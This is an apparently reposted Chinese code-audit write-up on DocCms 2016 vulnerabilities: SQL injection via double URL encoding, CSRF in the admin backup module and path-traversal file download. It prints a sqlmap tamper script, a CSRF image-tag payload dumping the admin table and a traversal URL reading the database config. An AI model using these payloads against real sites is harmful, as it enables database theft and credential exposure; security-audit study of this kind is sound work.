代碼審計之DocCms漏洞分析


0x01 前言

DocCms[音譯:稻殼Cms] ,定位於為企業、站長、開發者、網絡公司、VI策划設計公司、SEO推廣營銷公司、網站初學者等用戶 量身打造的一款全新企業建站、內容管理系統,服務於企業品牌信息化建設,也適應用個人、門戶網站建設!

0x02 環境搭建

DocCms官網:http://www.doccms.com

程序源碼:DocCms2016

下載地址:https://pan.baidu.com/s/1pLclifL

0x03 SQL注入

代碼分析

在/content/search/index.php中,首先對參數keyword進行非法字符檢測,

進一步追溯checkSqlStr函數,看代碼如何過濾,在/inc/function.php中

checkSqlStr函數對傳入的字符串進行正則匹配,檢測是否函數非法字符。

繼續看在/content/search/index.php中的get_search_result函數:

參數keyword進行非法字符檢測后,進行url解碼,然后拼接到SQL語句中執行。

如果我們傳入雙重url編碼的字符串,將繞過非法字符檢測,然后經urldecode解碼,帶入數據庫中執行,導致SQL注入漏洞存在。

漏洞利用

雙重URLencode編碼繞過,可通過編寫tamper繞過URLencode雙重編碼,tamper腳本如下:

#!/usr/bin/env python import re from urllib import quote from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): retVal = payload retVal = quote(quote(retVal)) return retVal

通過SQLMAP加載tamper腳本,獲取數據庫敏感數據

0x04 CSRF

代碼分析

在\doccms\admini\controllers\system\back.php

export函數直接對提交上來的參數tables/sizelimit進行處理,導出sql備份文件,未對訪問來源進行有效驗證,導致數據庫備份模塊存在CSRF漏洞。

漏洞利用

1、構造CSRF漏洞利用代碼,只備份管理員用戶表doc_user:

 <H2> CRSFTester</H2>
<img src="http://127.0.0.1:80/admini/index.php?m=system&s=bakup&a=export&tables[]=doc_user&sizelimit=2048&dosubmit=開始備份數據" width="0" height="0" border="0"/>

2、在網站首頁在線留言提交CSRF漏洞利用代碼:

3、當管理員在后台查看留言信息時,自動備份數據庫到/doccms/temp/data目錄下:

0x05 任意文件下載

代碼分析

在\doccms\admini\controllers\system\back.php中,

download函數只對文件名進行簡單的判斷,然后把filename拼接到路徑中進行下載,導致網站存在任意文件下載漏洞。

漏洞利用

1、構造url下載全局配置文件獲取敏感信息:http://127.0.0.1/admini/index.php?m=system&s=bakup&a=download&filename=../../config/doc-config-cn.php

 

 2、獲取到數據庫賬號密碼等敏感信息:

 

未完,待續。

 

關於我:一個網絡安全愛好者,致力於分享原創高質量干貨,歡迎關注我的個人微信公眾號:Bypass--,瀏覽更多精彩文章。

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM